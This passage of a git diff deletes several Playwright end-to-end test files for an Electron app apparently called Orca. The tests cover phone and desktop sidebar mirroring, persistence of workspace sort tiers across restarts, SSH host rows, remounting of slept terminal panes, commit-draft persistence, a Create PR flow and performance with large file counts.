move(first!)).toBe(true) - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - const list = await openPhoneFeedList(phone) - const phoneGroupOf = () => { - const feed = list.feed() - return feed.kind === 'ready' - ? feed.domains.projectCatalog?.repos.find((repo) => repo.id === repoId)?.projectGroupId - : undefined - } - try { - await expectPhoneMatchesDesktop(orcaPage, list) - expect(phoneGroupOf()).toBe(first) - - // A change the phone reads; the host answers that read before the move lands. - const hold = list.holdFeedReads() - await runtimeCall(orcaPage, 'worktree.set', { worktree: `id:${activeId}`, isPinned: true }) - await expect.poll(hold.held, { timeout: 30_000 }).toBeGreaterThan(0) - expect(await move(second!)).toBe(true) - hold.release() - - await expectPhoneMatchesDesktop(orcaPage, list) - expect(phoneGroupOf()).toBe(second) - } finally { - list.close() - phone.dispose() - } - }) - - test('the phone lists a paired server’s workspaces as the desktop sidebar does', async (// oxlint-disable-next-line no-empty-pattern -- this test owns its topology launch. - {}, testInfo) => { - test.setTimeout(240_000) - const serverRepo = testInfo.outputPath('server-repo') - mkdirSync(serverRepo, { recursive: true }) - writeFileSync(path.join(serverRepo, 'README.md'), 'server repo\n') - const git = (...args: string[]) => execFileSync('git', args, { cwd: serverRepo, stdio: 'pipe' }) - git('init', '-b', 'main') - git('add', 'README.md') - git('-c', 'user.name=E2E', '-c', 'user.email=e2e@test.local', 'commit', '-m', 'init') - const { host, desktop, phone, dispose } = await launchPhoneMirrorTopology( - { phoneTo: 'desktop' }, - testInfo - ) - const list = await openPhoneFeedList(phone) - try { - const added = AddedRepoSchema.parse( - (await host.client.call('repo.add', { path: serverRepo, kind: 'git' })).result - ) - for (const name of ['server-a', 'server-b']) { - await host.client.call('worktree.create', { - repo: `id:${added.repo.id}`, - name, - setupDecision: 'skip' - }) - } - const shown = await expectPhoneMatchesDesktop(desktop.page, list) - expect(shown.some((line) => line.includes('server-a'))).toBe(true) - } finally { - list.close() - await dispose() - } - }) -}) diff --git a/tests/e2e/sidebar-sort-stamps-startup.spec.ts b/tests/e2e/sidebar-sort-stamps-startup.spec.ts deleted file mode 100644 index c6ae16b3e66..00000000000 --- a/tests/e2e/sidebar-sort-stamps-startup.spec.ts +++ /dev/null @@ -1,172 +0,0 @@ -import { existsSync, mkdtempSync, readFileSync, realpathSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { test, expect } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { - mutateStoppedProfileState, - readPersistedProfileState -} from './helpers/persisted-profile-state' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' -import { waitForSessionReady } from './helpers/store' -import { postClaudeHook, readHookEndpoint } from './helpers/agent-hook-endpoint' -import { WorkspaceRowsSnapshotSchema } from '../../src/shared/sidebar-list/feed-facts/workspace-rows' - -test.skip( - !SIDEBAR_INPUTS_BUILD, - 'the host stamps sort keys only in an ORCA_SIDEBAR_INPUTS=main build' -) - -function storedTiers(userDataDir: string, ids: readonly string[]): Record { - const meta = readPersistedProfileState(userDataDir).worktreeMeta - const rows = meta && typeof meta === 'object' ? Object.entries(meta) : [] - return Object.fromEntries( - rows - .filter(([id]) => ids.includes(id)) - .map(([id, row]) => [ - id, - row && typeof row === 'object' && 'smartTier' in row ? row.smartTier : undefined - ]) - ) -} - -async function readMainTier(page: Page, worktreeId: string): Promise { - const response = await page.evaluate(() => - window.api.runtime.call({ method: 'sidebarInputs.workspaceRows' }) - ) - if (!response.ok) { - throw new Error('sidebarInputs.workspaceRows failed') - } - return WorkspaceRowsSnapshotSchema.parse(response.result).rows[`local|${worktreeId}`]?.smartTier -} - -test('a restart clears a tier nothing backs, keeps a hook row’s and an SSH host’s', async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. -{}, testInfo) => { - test.setTimeout(3 * 60_000) - test.skip(!existsSync(TEST_REPO_PATH_FILE), 'Global setup did not produce a seeded test repo') - const session = createRestartSession(testInfo) - let folderToRemove: string | null = null - let app: ElectronApplication | null = null - try { - const first = await session.launch() - await waitForSessionReady(first.page) - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - const repoId = await first.page.evaluate(async (path) => { - const result = await window.api.repos.add({ path }) - if ('error' in result) { - throw new Error(result.error) - } - return result.repo.id - }, repoPath) - const hookId = `${repoId}::${repoPath}` - const folderPath = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-sort-stamps-'))) - const goneFolderId = await first.page.evaluate(async (parentPath) => { - const store = window.__store! - const group = await window.api.projectGroups.create({ - name: 'Stamps folder project', - parentPath, - createdFrom: 'folder-scan' - }) - await store.getState().fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - const folder = await store - .getState() - .createFolderWorkspace( - { projectGroupId: group.id, name: 'Stamps folder', folderPath: parentPath }, - { runtimeEnvironmentId: null } - ) - if (!folder) { - throw new Error('Expected a folder workspace') - } - return folder.folderWorkspace.id - }, folderPath) - folderToRemove = folderPath - const goneId = `folder:${goneFolderId}` - const sshId = `${repoId}::/srv/stamps-remote` - const ids = [hookId, sshId] - - // A finished turn whose row the hook server saves; no terminal is ever opened. - const endpoint = await readHookEndpoint(first.app) - const pane = { paneKey: 'tab-stamps:11111111-1111-4111-8111-111111111111', worktreeId: hookId } - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: 'go' }) - await postClaudeHook(endpoint, pane, { hook_event_name: 'Stop', last_assistant_message: 'ok' }) - await expect.poll(() => readMainTier(first.page, hookId)).toBe('done') - await session.close(first.app) - - mutateStoppedProfileState(session.userDataDir, (state) => { - const existing = - state.worktreeMeta && typeof state.worktreeMeta === 'object' ? state.worktreeMeta : {} - // Recent, so the metadata collector keeps the SSH entry, whose path is not on this machine. - const row = { - displayName: 'stamps', - lastActivityAt: Date.now(), - smartTier: 'working', - smartAt: 4 - } - state.folderWorkspaces = Array.isArray(state.folderWorkspaces) - ? state.folderWorkspaces.map((folder) => - folder && typeof folder === 'object' && 'id' in folder && folder.id === goneFolderId - ? { ...folder, smartTier: 'working', smartAt: 4 } - : folder - ) - : state.folderWorkspaces - // Keep the folder terminal’s recorded id after its daemon session died while Orca was closed. - const session = - state.workspaceSession && typeof state.workspaceSession === 'object' - ? state.workspaceSession - : {} - const tabsByWorktree = - 'tabsByWorktree' in session && - session.tabsByWorktree && - typeof session.tabsByWorktree === 'object' - ? session.tabsByWorktree - : {} - state.workspaceSession = { - ...session, - tabsByWorktree: { - ...tabsByWorktree, - [goneId]: [ - { - id: 'tab-stamps-gone', - ptyId: 'stamps-dead-pty', - worktreeId: goneId, - title: 'Terminal 1', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: Date.now() - } - ] - } - } - state.worktreeMeta = { - ...existing, - [sshId]: { ...row, instanceId: 'stamps-remote', hostId: 'ssh:unreachable' } - } - }) - expect(storedTiers(session.userDataDir, ids)).toEqual({ - [hookId]: 'done', - [sshId]: 'working' - }) - - const second = await session.launch() - app = second.app - await waitForSessionReady(second.page) - // The reconcile runs once hook rows and PTYs settle. - await expect.poll(() => readMainTier(second.page, goneId), { timeout: 30_000 }).toBeUndefined() - expect(await readMainTier(second.page, hookId)).toBe('done') - await session.close(app) - app = null - // The unreached SSH host is not evidence its agents died. - expect(storedTiers(session.userDataDir, ids)).toEqual({ - [hookId]: 'done', - [sshId]: 'working' - }) - } finally { - await session.dispose(app ?? undefined) - if (folderToRemove) { - rmSync(folderToRemove, { recursive: true, force: true }) - } - } -}) diff --git a/tests/e2e/sidebar-workspace-rows.spec.ts b/tests/e2e/sidebar-workspace-rows.spec.ts deleted file mode 100644 index 6ca1e746fcc..00000000000 --- a/tests/e2e/sidebar-workspace-rows.spec.ts +++ /dev/null @@ -1,145 +0,0 @@ -import { mkdtempSync, realpathSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' -import { waitForSessionReady, waitForStartupWorktreeRefresh } from './helpers/store' -import { DesktopSidebarFactsSchema } from '../../src/shared/sidebar-list/feed-facts/desktop-sidebar-facts' -import { - WorkspaceRowsSnapshotSchema, - type WorkspaceRow -} from '../../src/shared/sidebar-list/feed-facts/workspace-rows' - -test.skip( - !SIDEBAR_INPUTS_BUILD, - 'main publishes sidebar inputs only in an ORCA_SIDEBAR_INPUTS=main build' -) - -async function readMainRows(page: Page): Promise> { - const response = await page.evaluate(() => - window.api.runtime.call({ method: 'sidebarInputs.workspaceRows' }) - ) - if (!response.ok) { - throw new Error('sidebarInputs.workspaceRows failed') - } - return WorkspaceRowsSnapshotSchema.parse(response.result).rows -} - -test('main lists the window’s git and folder workspaces and follows its metadata writes', async ({ - orcaPage, - registerPostElectronShutdownCleanup -}) => { - await waitForSessionReady(orcaPage) - await waitForStartupWorktreeRefresh(orcaPage) - const folderPath = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-workspace-rows-'))) - registerPostElectronShutdownCleanup(async () => - rmSync(folderPath, { recursive: true, force: true }) - ) - - const { worktreeId, folderKey } = await orcaPage.evaluate(async (parentPath) => { - const store = window.__store! - const group = await window.api.projectGroups.create({ - name: 'Rows folder project', - parentPath, - createdFrom: 'folder-scan' - }) - await store.getState().fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - const folder = await store - .getState() - .createFolderWorkspace( - { projectGroupId: group.id, name: 'Rows folder', folderPath: parentPath }, - { runtimeEnvironmentId: null } - ) - const repo = store.getState().repos[0] - const worktree = repo ? store.getState().worktreesByRepo[repo.id]?.[0] : undefined - if (!folder || !worktree) { - throw new Error('Expected a seeded worktree and a folder workspace') - } - return { worktreeId: worktree.id, folderKey: `local|folder:${folder.folderWorkspace.id}` } - }, folderPath) - const rowKey = `local|${worktreeId}` - - await expect.poll(async () => Object.keys(await readMainRows(orcaPage))).toContain(folderKey) - const before = (await readMainRows(orcaPage))[rowKey] - expect(before).toMatchObject({ kind: 'git', hostId: 'local', isPinned: false }) - - // The window writes metadata without announcing it; main must still follow. - await orcaPage.evaluate( - (id) => window.__store!.getState().updateWorktreeMeta(id, { isPinned: true, comment: 'rows' }), - worktreeId - ) - await orcaPage.evaluate( - (id) => window.__store!.getState().updateFolderWorkspace(id, { isPinned: true }), - folderKey.slice('local|folder:'.length) - ) - await expect - .poll(async () => { - const rows = await readMainRows(orcaPage) - return [rows[rowKey]?.isPinned, rows[rowKey]?.comment, rows[folderKey]?.isPinned] - }) - .toEqual([true, 'rows', true]) -}) - -test('a disconnected SSH host keeps its rows, and its state reads not connected', async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. -{}, testInfo) => { - test.setTimeout(3 * 60_000) - const session = createRestartSession(testInfo) - let app: ElectronApplication | null = null - try { - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await session.close(app) - app = null - // Nothing listens on port 1, so the host never answers. - const seeded = seedRelayEraProfile( - session.userDataDir, - { label: 'Unreachable', host: '127.0.0.1', port: 1, username: 'nobody' }, - { repoPath: '/srv/rows-repo', folderPath: '/srv/rows-folders' } - ) - const hostId = `ssh:${seeded.targetId}` - // Its rows are the ones it stored: here one pinned workspace. - mutateStoppedProfileState(session.userDataDir, (state) => { - state.worktreeMeta = { - ...(state.worktreeMeta && typeof state.worktreeMeta === 'object' ? state.worktreeMeta : {}), - [`${seeded.repoId}::/srv/rows-repo/feature`]: { - hostId, - instanceId: 'ssh-rows-feature', - displayName: 'Remote feature', - isPinned: true - } - } - }) - const launched = await session.launch() - app = launched.app - const page = launched.page - await waitForSessionReady(page) - await waitForStartupWorktreeRefresh(page) - await expect - .poll(async () => - Object.values(await readMainRows(page)) - .filter((row) => row.hostId === hostId) - .map((row) => [row.kind, row.displayName, row.isPinned]) - .sort() - ) - .toEqual([ - ['folder', 'orcad upgrade folder', false], - ['git', 'Remote feature', true] - ]) - const facts = await page.evaluate(() => - window.api.runtime.call({ method: 'sidebarInputs.desktopFacts' }) - ) - if (!facts.ok) { - throw new Error('sidebarInputs.desktopFacts failed') - } - expect( - DesktopSidebarFactsSchema.parse(facts.result).sshHosts[seeded.targetId]?.status - ).not.toBe('connected') - } finally { - await session.dispose(app ?? undefined) - } -}) diff --git a/tests/e2e/slept-workspace-remount-wake.spec.ts b/tests/e2e/slept-workspace-remount-wake.spec.ts deleted file mode 100644 index cbab5b2b33a..00000000000 --- a/tests/e2e/slept-workspace-remount-wake.spec.ts +++ /dev/null @@ -1,81 +0,0 @@ -// #10205: a slept pane’s dead wake-hint id must not reattach/spawn on incidental remount. -// Keep production park timing because shortened delays unmount the target and hide the regression. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { getAllWorktreeIds, waitForSessionReady } from './helpers/store' -import { - activateWorkspaceByClick, - giveWorkspaceALivePty, - readConnectDiagnostics, - readHostLiveTerminalCount, - readWorkspaceSample, - sleepWorkspaceViaSidebar -} from './helpers/slept-workspace-probe' - -const OBSERVATION_MS = 8_000 -const SAMPLE_INTERVAL_MS = 200 - -async function assertStaysCold(page: Page, worktreeId: string): Promise { - let peakLivePty = 0 - let peakTabs = 0 - const deadline = Date.now() + OBSERVATION_MS - while (Date.now() < deadline) { - const sample = await readWorkspaceSample(page, worktreeId) - peakLivePty = Math.max(peakLivePty, sample.livePtyCount) - peakTabs = Math.max(peakTabs, sample.tabCount) - await page.waitForTimeout(SAMPLE_INTERVAL_MS) - } - const hostLive = await readHostLiveTerminalCount(page, worktreeId) - const diag = await readConnectDiagnostics(page, worktreeId) - console.error(`[#10205] ${JSON.stringify({ peakLivePty, peakTabs, hostLive, diag })}`) - expect(peakLivePty, 'slept workspace grew a live PTY').toBe(0) - expect(peakTabs, 'slept workspace grew a tab').toBe(1) - expect(hostLive, 'host created a session for the slept workspace').toBe(0) - // Why: proves the gate held rather than the pane having quietly unmounted. - expect(diag.at(-1), 'remounted pane did not wait for the wake').toContain('WAIT FOR WAKE') -} - -test('remounting a slept hidden pane does not respawn its PTY', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - const [slept, other] = await getAllWorktreeIds(orcaPage) - expect(other, 'seeded repo must expose two worktrees').toBeTruthy() - await giveWorkspaceALivePty(orcaPage, slept) - await giveWorkspaceALivePty(orcaPage, other) - await activateWorkspaceByClick(orcaPage, slept) - expect((await readWorkspaceSample(orcaPage, slept)).livePtyCount).toBeGreaterThan(0) - - await sleepWorkspaceViaSidebar(orcaPage, slept) - await expect - .poll(async () => (await readWorkspaceSample(orcaPage, slept)).livePtyCount, { - timeout: 20_000, - message: 'sleep did not release the workspace PTYs' - }) - .toBe(0) - await activateWorkspaceByClick(orcaPage, other) - - const sample = await readWorkspaceSample(orcaPage, slept) - const sleptTabId = sample.tabIds[0] - expect(sleptTabId, 'slept workspace must retain a tab').toBeTruthy() - // Require mounted pane and wake hint or remount has nothing to reattach. - expect(sample.mountedTabIds, 'slept pane was parked before the remount').toContain(sleptTabId) - expect(sample.tabPtyHints[0], 'sleep must keep the session id as a wake hint').toBeTruthy() - - const remounted = await orcaPage.evaluate( - (tabId) => window.__store?.getState().remountTerminalTabForRecovery(tabId).remounted ?? false, - sleptTabId - ) - expect(remounted, 'remountTerminalTabForRecovery did not find the slept tab').toBe(true) - await assertStaysCold(orcaPage, slept) - - // Positive control: explicit selection must wake exactly once across the remount. - await activateWorkspaceByClick(orcaPage, slept) - await expect - .poll(async () => (await readWorkspaceSample(orcaPage, slept)).livePtyCount, { - timeout: 40_000, - message: 'the slept workspace never wakes even on deliberate activation' - }) - .toBeGreaterThan(0) - await orcaPage.waitForTimeout(3_000) - expect((await readWorkspaceSample(orcaPage, slept)).livePtyCount).toBe(1) - expect(await readHostLiveTerminalCount(orcaPage, slept)).toBe(1) -}) diff --git a/tests/e2e/source-control-commit-draft-persistence.spec.ts b/tests/e2e/source-control-commit-draft-persistence.spec.ts deleted file mode 100644 index 4607e027baf..00000000000 --- a/tests/e2e/source-control-commit-draft-persistence.spec.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { openSourceControlForWorktree } from './helpers/worktree-registration' - -type E2eWorktree = { - branchName: string - worktreePath: string -} - -function createWorktreeWithStagedChange(repoPath: string): E2eWorktree { - const branchName = `e2e-commit-draft-${Date.now()}-${Math.random().toString(16).slice(2)}` - const worktreePath = path.join(os.tmpdir(), branchName) - execFileSync('git', ['worktree', 'add', worktreePath, '-b', branchName], { - cwd: repoPath, - stdio: 'pipe' - }) - writeFileSync( - path.join(worktreePath, 'README.md'), - '# Commit Draft Persistence E2E\n\nPreserve this draft across remounts.\n' - ) - execFileSync('git', ['add', 'README.md'], { cwd: worktreePath, stdio: 'pipe' }) - return { branchName, worktreePath } -} - -function cleanupWorktree(repoPath: string, worktreePath: string, branchName: string): void { - try { - execFileSync('git', ['worktree', 'remove', '--force', worktreePath], { - cwd: repoPath, - stdio: 'pipe' - }) - } catch { - try { - rmSync(worktreePath, { recursive: true, force: true }) - execFileSync('git', ['worktree', 'prune'], { cwd: repoPath, stdio: 'pipe' }) - } catch { - // Best effort: the branch delete below is still worth attempting. - } - } - try { - execFileSync('git', ['branch', '-D', branchName], { cwd: repoPath, stdio: 'pipe' }) - } catch { - // The branch may already be gone when git prunes it with the worktree. - } -} - -test.describe('Source Control commit draft persistence', () => { - test('preserves a typed draft when the sidebar tab remounts', async ({ - orcaPage, - testRepoPath - }) => { - let firstWorktree: E2eWorktree | null = null - let secondWorktree: E2eWorktree | null = null - - try { - firstWorktree = createWorktreeWithStagedChange(testRepoPath) - secondWorktree = createWorktreeWithStagedChange(testRepoPath) - await waitForSessionReady(orcaPage) - await openSourceControlForWorktree(orcaPage, testRepoPath, firstWorktree.worktreePath) - - const textarea = orcaPage.getByRole('textbox', { name: 'Commit message' }) - await expect(textarea).toBeVisible({ timeout: 10_000 }) - - const draft = 'fix: keep draft after leaving Source Control' - await textarea.fill(draft) - await expect(textarea).toHaveValue(draft) - - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.setRightSidebarTab('explorer') - }) - await expect - .poll( - async () => orcaPage.evaluate(() => window.__store?.getState().rightSidebarTab ?? null), - { timeout: 5_000 } - ) - .toBe('explorer') - await expect(textarea).toBeHidden() - - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.setRightSidebarTab('source-control') - }) - await expect - .poll( - async () => orcaPage.evaluate(() => window.__store?.getState().rightSidebarTab ?? null), - { timeout: 5_000 } - ) - .toBe('source-control') - - await expect(textarea).toBeVisible({ timeout: 10_000 }) - await expect(textarea).toHaveValue(draft) - - await openSourceControlForWorktree(orcaPage, testRepoPath, secondWorktree.worktreePath) - await expect(textarea).toBeVisible({ timeout: 10_000 }) - await expect(textarea).toHaveValue('') - - await openSourceControlForWorktree(orcaPage, testRepoPath, firstWorktree.worktreePath) - await expect(textarea).toBeVisible({ timeout: 10_000 }) - await expect(textarea).toHaveValue(draft) - } finally { - for (const worktree of [firstWorktree, secondWorktree]) { - if (worktree) { - cleanupWorktree(testRepoPath, worktree.worktreePath, worktree.branchName) - } - } - } - }) -}) diff --git a/tests/e2e/source-control-create-pr-intent-switch.spec.ts b/tests/e2e/source-control-create-pr-intent-switch.spec.ts deleted file mode 100644 index c8283a2b663..00000000000 --- a/tests/e2e/source-control-create-pr-intent-switch.spec.ts +++ /dev/null @@ -1,139 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/source-control-generation-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - createStagedCommitMessageChange, - openSourceControl, - seedCreatePrComposer -} from './helpers/source-control-ai-generation' - -function removeOriginRemoteIfPresent(cwd: string): void { - // Why: check presence instead of swallowing errors, so real Git failures still surface. - const remotes = execFileSync('git', ['remote'], { - cwd, - encoding: 'utf8', - stdio: ['ignore', 'pipe', 'pipe'] - }) - .split('\n') - .map((line) => line.trim()) - if (!remotes.includes('origin')) { - return - } - execFileSync('git', ['remote', 'remove', 'origin'], { cwd, stdio: 'pipe' }) -} - -test.describe('Source Control Create PR intent worktree switching', () => { - test.describe.configure({ mode: 'serial' }) - - test('carries unavailable dirty intent through push to the final create preflight', async ({ - orcaPage, - registerPostElectronShutdownCleanup - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const { prWorktreeId, prWorktreePath } = await seedCreatePrComposer(orcaPage) - const remoteRoot = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-create-pr-remote-')) - const remotePath = path.join(remoteRoot, 'origin.git') - execFileSync('git', ['init', '--bare', remotePath]) - // Why: the seeded worktree may already define origin, so make the add idempotent. - removeOriginRemoteIfPresent(prWorktreePath) - execFileSync('git', ['remote', 'add', 'origin', remotePath], { cwd: prWorktreePath }) - registerPostElectronShutdownCleanup(async () => { - removeOriginRemoteIfPresent(prWorktreePath) - rmSync(remoteRoot, { recursive: true, force: true }) - }) - createStagedCommitMessageChange(prWorktreePath) - - const finalCreateError = 'Unavailable lookup intent reached final create preflight' - await orcaPage.evaluate( - ({ prWorktreeId, finalCreateError }) => { - const store = - window.__store ?? - (() => { - throw new Error('window.__store is not available') - })() - const state = store.getState() - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((entry) => entry.id === prWorktreeId) - if (!worktree) { - throw new Error('Create PR intent worktree not found') - } - const branch = worktree.branch.replace(/^refs\/heads\//, '') - const pushBranchAction = state.pushBranch - const testWindow = window as unknown as { - __unavailableIntentPushFinished: boolean - } - testWindow.__unavailableIntentPushFinished = false - - store.setState((current) => ({ - repos: current.repos.map((repo) => - repo.id === worktree.repoId - ? { - ...repo, - gitRemoteIdentity: { - canonicalKey: 'github.com/acme/orca', - remoteName: 'origin', - remoteUrl: 'https://github.com/acme/orca.git' - } - } - : repo - ), - remoteStatusesByWorktree: { - ...current.remoteStatusesByWorktree, - [prWorktreeId]: { - hasUpstream: true, - upstreamName: `origin/${branch}`, - ahead: 1, - behind: 0 - } - }, - getHostedReviewCreationEligibility: async () => { - throw new Error('Hosted review eligibility timed out') - }, - pushBranch: async (...args: Parameters) => { - const [worktreeId] = args - if (worktreeId !== prWorktreeId) { - throw new Error(`Create PR intent pushed unexpected worktree ${worktreeId}`) - } - await pushBranchAction(...args) - testWindow.__unavailableIntentPushFinished = true - }, - createHostedReview: async () => ({ - ok: false as const, - code: 'validation' as const, - error: finalCreateError - }) - })) - }, - { prWorktreeId, finalCreateError } - ) - - await openSourceControl(orcaPage, prWorktreeId) - await expect(orcaPage.getByText('e2e-commit-message-generation.txt')).toBeVisible({ - timeout: 10_000 - }) - await orcaPage - .getByRole('textbox', { name: 'Commit message' }) - .fill('Exercise unavailable Create PR intent') - const createPr = orcaPage.getByRole('button', { name: 'Create PR' }).first() - await expect(createPr).toBeEnabled() - await createPr.click() - - await expect - .poll( - () => - orcaPage.evaluate( - () => - (window as unknown as { __unavailableIntentPushFinished: boolean }) - .__unavailableIntentPushFinished - ), - { timeout: 10_000 } - ) - .toBe(true) - await expect(orcaPage.getByText(finalCreateError)).toBeVisible({ timeout: 10_000 }) - }) -}) diff --git a/tests/e2e/source-control-large-file-count.spec.ts b/tests/e2e/source-control-large-file-count.spec.ts deleted file mode 100644 index c217268be45..00000000000 --- a/tests/e2e/source-control-large-file-count.spec.ts +++ /dev/null @@ -1,322 +0,0 @@ -// #8013: build isolated large repos and measure real git scan → line stats → IPC → store → rendered rows. -// Record scan/render time, payload size, lag, DOM count and repeated-poll heap growth; ORCA_LARGE_FILE_COUNT selects scale. -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { - hasCapturedGitStatusRetry, - installGitStatusRetryBarrier, - restoreGitStatusRetryHandler -} from './helpers/git-status-retry-barrier' -import { - createLargeFileCountRepo, - removeLargeFileCountRepo, - removeLargeFileCountUntrackedTree -} from './large-file-count-fixtures' -import { RIGHT_SIDEBAR_MIN_WIDTH } from '../../src/renderer/src/components/right-sidebar/layout/right-sidebar-width' - -type LoadMeasurement = { - entryCount: number - didHitLimit: boolean - scanMs: number - rescanMs: number - payloadBytes: number - renderMs: number - renderedRows: number - maxLagMs: number - p95LagMs: number - domNodeCount: number - heapUsedMbAfterRender: number - heapUsedMbPerCycle: number[] - cycleMaxLagMs: number[] -} - -async function addAndActivateRepo(orcaPage: Page, repoPath: string): Promise { - const repoId = await orcaPage.evaluate(async (pathToRepo: string) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const addedRepo = await store.getState().addRepoPath(pathToRepo) - if (!addedRepo) { - throw new Error(`isolated repo not found: ${pathToRepo}`) - } - return addedRepo.id - }, repoPath) - - // Poll async worktree scan state even after fetchWorktrees resolves. - await expect - .poll( - () => - orcaPage.evaluate(async (targetRepoId: string) => { - const store = window.__store - if (!store) { - return 0 - } - await store.getState().fetchWorktrees(targetRepoId) - return store.getState().worktreesByRepo[targetRepoId]?.length ?? 0 - }, repoId), - { timeout: 30_000, message: 'isolated large-file-count worktree did not load' } - ) - .toBeGreaterThan(0) - - const worktreeId = await orcaPage.evaluate( - ({ targetRepoId, pathToRepo }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const worktrees = state.worktreesByRepo[targetRepoId] ?? [] - const worktree = worktrees.find((entry) => entry.path === pathToRepo) ?? worktrees[0] - if (!worktree) { - throw new Error(`isolated worktree not found: ${pathToRepo}`) - } - state.setActiveRepo(targetRepoId) - state.setActiveWorktree(worktree.id) - state.setRightSidebarOpen(true) - state.setRightSidebarTab('source-control') - return worktree.id - }, - { targetRepoId: repoId, pathToRepo: repoPath } - ) - - // Wait for the visible panel after async repo routing; clicking an already-active button measures Playwright stability instead. - const sourceControlButton = orcaPage.getByRole('button', { name: /^Source Control/ }) - await expect(sourceControlButton).toBeVisible() - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().rightSidebarTab)) - .toBe('source-control') - await expect(orcaPage.getByRole('button', { name: 'Filter files by name' })).toBeVisible() - - return worktreeId -} - -async function unregisterLargeFileCountRepos( - orcaPage: Page, - repoPaths: readonly string[] -): Promise { - // Remove projects through product actions so PTYs/watchers start shutting down before Electron. - for (const repoPath of repoPaths) { - await orcaPage.evaluate(async (pathToRepo) => { - const store = window.__store - const repo = store?.getState().repos.find((entry) => entry.path === pathToRepo) - if (repo) { - await store?.getState().removeProject(repo.id, { hostId: 'local' }) - } - }, repoPath) - } -} - -// Run the poll’s exact status→store path; concurrent built-in polls produce identical entries that dedupe. -async function measureSourceControlLoad( - orcaPage: Page, - args: { worktreeId: string; repoPath: string; expectedRows: number; pollCycles: number } -): Promise { - return await orcaPage.evaluate(async ({ worktreeId, repoPath, expectedRows, pollCycles }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const lagSamples: number[] = [] - const probeIntervalMs = 50 - let lastTick = performance.now() - const probe = window.setInterval(() => { - const now = performance.now() - lagSamples.push(Math.max(0, now - lastTick - probeIntervalMs)) - lastTick = now - }, probeIntervalMs) - - const readHeapMb = (): number => { - const memory = (performance as unknown as { memory?: { usedJSHeapSize: number } }).memory - return memory ? memory.usedJSHeapSize / (1024 * 1024) : -1 - } - - try { - const scanStart = performance.now() - const status = await window.api.git.status({ worktreePath: repoPath }) - const scanMs = performance.now() - scanStart - const payloadBytes = JSON.stringify(status).length - - // Time first rows, not all rows: virtualization intentionally leaves most unmounted. - const firstRowsTarget = Math.min(expectedRows, 30) - const renderStart = performance.now() - store.getState().setGitStatus(worktreeId, status) - let renderedRows = 0 - while (performance.now() - renderStart < 60_000) { - renderedRows = document.querySelectorAll('[data-testid="source-control-entry"]').length - if (renderedRows >= firstRowsTarget) { - break - } - await new Promise((resolve) => window.setTimeout(resolve, 50)) - } - const renderMs = performance.now() - renderStart - // Settle so the lag probe captures post-render layout/paint stalls too. - await new Promise((resolve) => window.setTimeout(resolve, 1_000)) - renderedRows = document.querySelectorAll('[data-testid="source-control-entry"]').length - const heapUsedMbAfterRender = readHeapMb() - - // Repeat real scans/store arrays to expose ongoing memory growth, not just first-load allocation. - const heapUsedMbPerCycle: number[] = [] - const cycleMaxLagMs: number[] = [] - let rescanMs = 0 - for (let cycle = 0; cycle < pollCycles; cycle += 1) { - const cycleLagStart = lagSamples.length - const cycleScanStart = performance.now() - const cycleStatus = await window.api.git.status({ worktreePath: repoPath }) - if (cycle === 0) { - // The first rescan isolates warm mtime-cache cost. - rescanMs = performance.now() - cycleScanStart - } - store.getState().setGitStatus(worktreeId, cycleStatus) - await new Promise((resolve) => window.setTimeout(resolve, 500)) - heapUsedMbPerCycle.push(readHeapMb()) - cycleMaxLagMs.push(Math.max(0, ...lagSamples.slice(cycleLagStart))) - } - - const sorted = [...lagSamples].sort((a, b) => a - b) - return { - entryCount: status.entries.length, - didHitLimit: status.didHitLimit === true, - scanMs, - rescanMs, - payloadBytes, - renderMs, - renderedRows, - maxLagMs: sorted.length ? (sorted.at(-1) ?? 0) : 0, - p95LagMs: sorted.length ? sorted[Math.floor(sorted.length * 0.95)] : 0, - domNodeCount: document.getElementsByTagName('*').length, - heapUsedMbAfterRender, - 